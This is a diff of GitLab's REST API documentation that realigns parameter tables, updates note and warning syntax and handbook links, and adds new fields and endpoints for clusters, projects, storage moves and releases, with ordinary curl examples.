"environment_scope":"*", @@ -88,10 +90,10 @@ GET /projects/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | ----------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -107,6 +109,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -179,20 +183,20 @@ POST /projects/:id/clusters/user Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `name` | string | yes | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | -| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | -| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | +| Attribute | Type | Required | Description | +| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `name` | string | yes | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` | +| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | +| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | Example request: @@ -210,6 +214,8 @@ Example response: "id":24, "name":"cluster-5", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -273,20 +279,22 @@ PUT /projects/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `cluster_id` | integer | yes | The ID of the cluster | -| `name` | string | no | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | -| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | - -NOTE: **Note:** +| Attribute | Type | Required | Description | +| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `cluster_id` | integer | yes | The ID of the cluster | +| `name` | string | no | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster | +| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | + +NOTE: `name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added through the ["Add existing Kubernetes cluster"](../user/project/clusters/add_remove_clusters.md#add-existing-cluster) option or through the ["Add existing cluster to project"](#add-existing-cluster-to-project) endpoint. @@ -307,6 +315,8 @@ Example response: "name":"new-cluster-name", "domain":"new-domain.com", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -380,10 +390,10 @@ DELETE /projects/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | ----------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index 5c631d2f084..c5799a63c5c 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -49,7 +49,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla } ``` -NOTE: **Note:** +NOTE: The upload request will be sent with `Content-Type: application/gzip` header. Ensure that your pre-signed URL includes this as part of the signature. ## Export status @@ -192,7 +192,7 @@ requests.post(url, headers=headers, data=data, files=files) } ``` -NOTE: **Note:** +NOTE: The maximum import file size can be set by the Administrator, default is 50MB. As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md). @@ -225,10 +225,10 @@ If the status is `failed`, `started` or `finished`, the `failed_relations` array be populated with any occurrences of relations that failed to import either due to unrecoverable errors or because retries were exhausted (a typical example are query timeouts.) -NOTE: **Note:** +NOTE: An element's `id` field in `failed_relations` references the failure record, not the relation. -NOTE: **Note:** +NOTE: The `failed_relations` array is currently capped to 100 items. ```json diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md index cd1c24b756f..8f6b9b83ca3 100644 --- a/doc/api/project_level_variables.md +++ b/doc/api/project_level_variables.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, api --- diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index c1ba421e73e..07743a48654 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -197,7 +197,7 @@ Example response: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34119) in GitLab 13.1. > - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2618) in GitLab 13.3, original repository is automatically removed after successful move and integrity check. -CAUTION: **Caution:** +WARNING: Before GitLab 13.3, a repository move worked more like a repository copy as the original repository was not deleted from the original storage disk location and had to be manually cleaned up. @@ -239,3 +239,35 @@ Example response: "created_at": "2020-05-07T04:27:17.016Z" } ``` + +## Schedule repository storage moves for all projects on a storage shard + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47142) in GitLab 13.7. + +Schedules repository storage moves for each project repository stored on the source storage shard. + +```plaintext +POST /project_repository_storage_moves +``` + +Parameters: + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `source_storage_name` | string | yes | Name of the source storage shard. | +| `destination_storage_name` | string | no | Name of the destination storage shard. The storage is selected automatically if not provided. | + +Example request: + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ +--data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves" +``` + +Example response: + +```json +{ + "message": "202 Accepted" +} +``` diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md index 7955050e716..d264e68e96a 100644 --- a/doc/api/project_snippets.md +++ b/doc/api/project_snippets.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -20,7 +20,7 @@ Constants for snippet visibility levels are: | `internal` | The snippet is visible for any logged in user except [external users](../user/permissions.md#external-users) | | `public` | The snippet can be accessed without any authentication | -NOTE: **Note:** +NOTE: From July 2019, the `Internal` visibility setting is disabled for new projects, groups, and snippets on GitLab.com. Existing projects, groups, and snippets using the `Internal` visibility setting keep this setting. You can read more about the change in the diff --git a/doc/api/project_statistics.md b/doc/api/project_statistics.md index 344aeaa588f..984720ed56f 100644 --- a/doc/api/project_statistics.md +++ b/doc/api/project_statistics.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md index 08f3aefb429..d75047d6cb3 100644 --- a/doc/api/project_templates.md +++ b/doc/api/project_templates.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -21,8 +21,8 @@ It deprecates these endpoints, which will be removed for API version 5. In addition to templates common to the entire instance, project-specific templates are also available from this API endpoint. -Support for [Group-level file templates](../user/group/index.md#group-file-templates) -**(PREMIUM)** was [added](https://gitlab.com/gitlab-org/gitlab/-/issues/5987) +Support for [Group-level file templates](../user/group/index.md#group-file-templates) **(PREMIUM)** +was [added](https://gitlab.com/gitlab-org/gitlab/-/issues/5987) in GitLab 11.5 ## Get all templates of a particular type diff --git a/doc/api/project_vulnerabilities.md b/doc/api/project_vulnerabilities.md index 8ab02ed9ea6..1f6a1a58276 100644 --- a/doc/api/project_vulnerabilities.md +++ b/doc/api/project_vulnerabilities.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -9,7 +9,7 @@ type: reference, api > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6. -CAUTION: **Caution:** +WARNING: This API is in an alpha stage and considered unstable. The response payload may be subject to change or breakage across GitLab releases. diff --git a/doc/api/projects.md b/doc/api/projects.md index 1c162e0bbd3..b9f6448085d 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Projects API @@ -49,7 +49,7 @@ GET /projects | `last_activity_before` | datetime | **{dotted-circle}** No | Limit results to projects with last_activity before specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ | | `membership` | boolean | **{dotted-circle}** No | Limit by projects that the current user is a member of. | | `min_access_level` | integer | **{dotted-circle}** No | Limit by current user minimal [access level](members.md#valid-access-levels). | -| `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. `repository_size`, `storage_size`, or `wiki_size` fields are only allowed for admins. Default is `created_at`. | +| `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. `repository_size`, `storage_size`, `packages_size` or `wiki_size` fields are only allowed for admins. Default is `created_at`. | | `owned` | boolean | **{dotted-circle}** No | Limit by projects explicitly owned by the current user. | | `repository_checksum_failed` **(PREMIUM)** | boolean | **{dotted-circle}** No | Limit projects where the repository checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2). | | `repository_storage` | string | **{dotted-circle}** No | Limit results to projects stored on `repository_storage`. _(admins only)_ | @@ -295,7 +295,7 @@ When the user is authenticated and `simple` is not set this returns something li ] ``` -NOTE: **Note:** +NOTE: For users of GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/), the `marked_for_deletion_at` attribute has been deprecated, and will be removed in API v5 in favor of the `marked_for_deletion_on` attribute. @@ -1045,6 +1045,7 @@ POST /projects | Attribute | Type | Required | Description | |-------------------------------------------------------------|---------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | +| `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` | | `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). | @@ -1077,6 +1078,7 @@ POST /projects | `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | | `name` | string | **{check-circle}** Yes (if path isn't provided) | The name of the new project. Equals path if not provided. | | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | @@ -1117,6 +1119,7 @@ POST /projects/user/:user_id | Attribute | Type | Required | Description | |-------------------------------------------------------------|---------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | +| `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` | | `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). | @@ -1147,6 +1150,7 @@ POST /projects/user/:user_id | `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | | `name` | string | **{check-circle}** Yes | The name of the new project. | | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | @@ -1188,6 +1192,7 @@ PUT /projects/:id | Attribute | Type | Required | Description | |-------------------------------------------------------------|----------------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | +| `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` | | `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual`, or `timed_incremental`). | @@ -1222,6 +1227,7 @@ PUT /projects/:id | `mirror_user_id` **(STARTER)** | integer | **{dotted-circle}** No | User responsible for all the activity surrounding a pull mirror event. _(admins only)_ | | `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | | `name` | string | **{dotted-circle}** No | The name of the project. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | | `only_mirror_protected_branches` **(STARTER)** | boolean | **{dotted-circle}** No | Only mirror protected branches. | @@ -1862,7 +1868,7 @@ This endpoint: actual deletion happens after the number of days specified in the [default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). -CAUTION: **Warning:** +WARNING: The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2, as discussed in [Enabling delayed project removal](../user/group/index.md#enabling-delayed-project-removal). @@ -2371,6 +2377,7 @@ Example response: "repository_access_level": "enabled", "merge_requests_access_level": "enabled", "forking_access_level": "enabled", + "analytics_access_level": "enabled", "wiki_access_level": "enabled", "builds_access_level": "enabled", "snippets_access_level": "enabled", @@ -2417,6 +2424,18 @@ Read more in the [Project import/export](project_import_export.md) documentation Read more in the [Project members](members.md) documentation. +## Configure pull mirroring for a project **(STARTER)** + +> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.2. + +Configure pull mirroring while [creating a new project](#create-project) or [updating an existing project](#edit-project) using the API if the remote repository is publicly accessible or via `username/password` authentication. In case your HTTP repository is not publicly accessible, you can add the authentication information to the URL: `https://username:password@gitlab.company.com/group/project.git`, where password is a [personal access token](../user/profile/personal_access_tokens.md) with the API scope enabled. + +The relevant API parameters to update are: + +- `import_url`: URL of remote repository being mirrored (with `username:password` if needed). +- `mirror`: Enables pull mirroring on project when set to `true`. +- `only_mirror_protected_branches`: Set to `true` for protected branches. + ## Start the pull mirroring process for a Project **(STARTER)** > Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3. diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index 79b848bdf15..1dd15231dd8 100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md index c42d6776341..487537cd3f5 100644 --- a/doc/api/protected_environments.md +++ b/doc/api/protected_environments.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md index 9f9c1ad8b5d..87bd7043121 100644 --- a/doc/api/protected_tags.md +++ b/doc/api/protected_tags.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md index 7c65e9da74b..0cb11a2b586 100644 --- a/doc/api/releases/index.md +++ b/doc/api/releases/index.md @@ -1,13 +1,13 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Releases API > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7. -> - Using this API you can manipulate GitLab's [Release](../../user/project/releases/index.md) entries. +> - Using this API you can manipulate GitLab [Release](../../user/project/releases/index.md) entries. > - For manipulating links as a release asset, see [Release Links API](links.md). > - Release Evidences were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26019) in GitLab 12.5. @@ -365,8 +365,8 @@ POST /projects/:id/releases | `ref` | string | yes, if `tag_name` doesn't exist | If a tag specified in `tag_name` doesn't exist, the release will be created from `ref` and tagged with `tag_name`. It can be a commit SHA, another tag name, or a branch name. | | `milestones` | array of string | no | The title of each milestone the release is associated with. [GitLab Premium](https://about.gitlab.com/pricing/) customers can specify group milestones. | | `assets:links` | array of hash | no | An array of assets links. | -| `assets:links:name`| string | required by: `assets:links` | The name of the link. | -| `assets:links:url` | string | required by: `assets:links` | The URL of the link. | +| `assets:links:name`| string | required by: `assets:links` | The name of the link. Link names must be unique within the release. | +| `assets:links:url` | string | required by: `assets:links` | The URL of the link. Link URLs must be unique within the release. | | `assets:links:filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets). | `assets:links:link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | `released_at` | datetime | no | The date when the release will be/was ready. Defaults to the current time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). | @@ -376,7 +376,7 @@ Example request: ```shell curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: gDybLx3yrUK_HLp3qPjS" \ --data '{ "name": "New release", "tag_name": "v0.3", "description": "Super nice release", "milestones": ["v1.0", "v1.0-rc"], "assets": { "links": [{ "name": "hoge", "url": "https://google.com", "filepath": "/binaries/linux-amd64", "link_type":"other" }] } }' \ - --request POST https://gitlab.example.com/api/v4/projects/24/releases + --request POST "https://gitlab.example.com/api/v4/projects/24/releases" ``` Example response: diff --git a/doc/api/releases/links.md b/doc/api/releases/links.md index 2b33f6a4dc7..88ce3f6ccb4 100644 --- a/doc/api/releases/links.md +++ b/doc/api/releases/links.md @@ -1,14 +1,14 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Release links API > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7. -Using this API you can manipulate GitLab's [Release](../../user/project/releases/index.md) links. For manipulating other Release assets, see [Release API](index.md). +Using this API you can manipulate GitLab [Release](../../user/project/releases/index.md) links. For manipulating other Release assets, see [Release API](index.md). GitLab supports links to `http`, `https`, and `ftp` assets. ## Get links @@ -91,14 +91,14 @@ Create an asset as a link from a Release. POST /projects/:id/releases/:tag_name/assets/links ``` -| Attribute | Type | Required | Description | -| ------------- | -------------- | -------- | --------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). | -| `tag_name` | string | yes | The tag associated with the Release. | -| `name` | string | yes | The name of the link. | -| `url` | string | yes | The URL of the link. | -| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets). -| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | +| Attribute | Type | Required | Description | +| ------------- | -------------- | -------- | ---------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). | +| `tag_name` | string | yes | The tag associated with the Release. | +| `name` | string | yes | The name of the link. Link names must be unique within the release. | +| `url` | string | yes | The URL of the link. Link URLs must be unique within the release. | +| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets). | +| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | Example request: @@ -142,7 +142,7 @@ PUT /projects/:id/releases/:tag_name/assets/links/:link_id | `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets). | `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | -NOTE: **Note:** +NOTE: You have to specify at least one of `name` or `url` Example request: diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index 605284caf06..c40aed534d5 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -47,7 +47,7 @@ Example response: ] ``` -NOTE: **Note:** +NOTE: For security reasons, the `url` attribute will always be scrubbed of username and password information. diff --git a/doc/api/repositories.md b/doc/api/repositories.md index e880c2d95e1..efdf010e072 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -202,7 +202,7 @@ authentication if the repository is publicly accessible. GET /projects/:id/repository/contributors ``` -CAUTION: **Deprecation:** +WARNING: The `additions` and `deletions` attributes are deprecated [as of GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39653) because they [always return `0`](https://gitlab.com/gitlab-org/gitlab/-/issues/233119). Parameters: diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md index cc1f0aa970c..ce11e5a38b7 100644 --- a/doc/api/repository_files.md +++ b/doc/api/repository_files.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -57,7 +57,7 @@ Parameters: - `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb - `ref` (required) - The name of branch, tag or commit -NOTE: **Note:** +NOTE: `blob_id` is the blob SHA, see [repositories - Get a blob from repository](repositories.md#get-a-blob-from-repository) In addition to the `GET` method, you can also use `HEAD` to get just file metadata. @@ -132,7 +132,7 @@ Parameters: - `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb - `ref` (required) - The name of branch, tag or commit -NOTE: **Note:** +NOTE: `HEAD` method return just file metadata as in [Get file from repository](repository_files.md#get-file-from-repository). ```shell @@ -171,7 +171,7 @@ Parameters: - `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb - 